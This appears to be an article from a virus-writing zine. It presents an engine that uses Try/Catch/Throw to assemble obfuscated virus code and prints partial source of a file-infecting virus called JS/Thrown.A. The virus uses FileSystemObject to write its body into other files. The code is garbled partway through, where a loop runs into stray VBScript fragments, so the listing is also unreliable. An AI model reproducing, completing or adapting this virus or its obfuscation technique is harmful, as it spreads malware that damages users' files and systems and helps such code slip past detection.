I Err.Raise, you fall by hh86 Exceptions Try and Catch are the most widely used statements for exception handlers in most languages. When we run code that might be vulnerable to unexpected exceptions we can run it in Try block. If an exception occurs, then the Catch block handles the problem. This mechanism also includes a statement to cause an exception. It is the Throw statement. The Throw statement can specify an exception info to be supplied to the Catch (it should decide then on handling it or not). Throw it My idea for an engine is to create a decryptor to build the virus body piece by piece using Try, Catch and Throw. In Try block we raise an exception, in Catch we rebuild, it would be like this: a="" try { throw "f = new Activ" } catch(e) {a += e} try { throw "eXObject(" } catch(y) {a += y} //now run the code I have created an engine, it is so simple, but the result is very good. Here is JS/Thrown.A: //hh86 h() function h() { //JS/Thrown.A f=new ActiveXObject("Scripting.FileSystemObject") q = rn() k = q+"=[];" l = "" + h for(i=0;i":"then set s=f.createtextfile(x) s.write(":on error resume next:err.raise "+u+vbcrlf+g+vbcrlf+v) s.close end if end if x.attributes=a end if next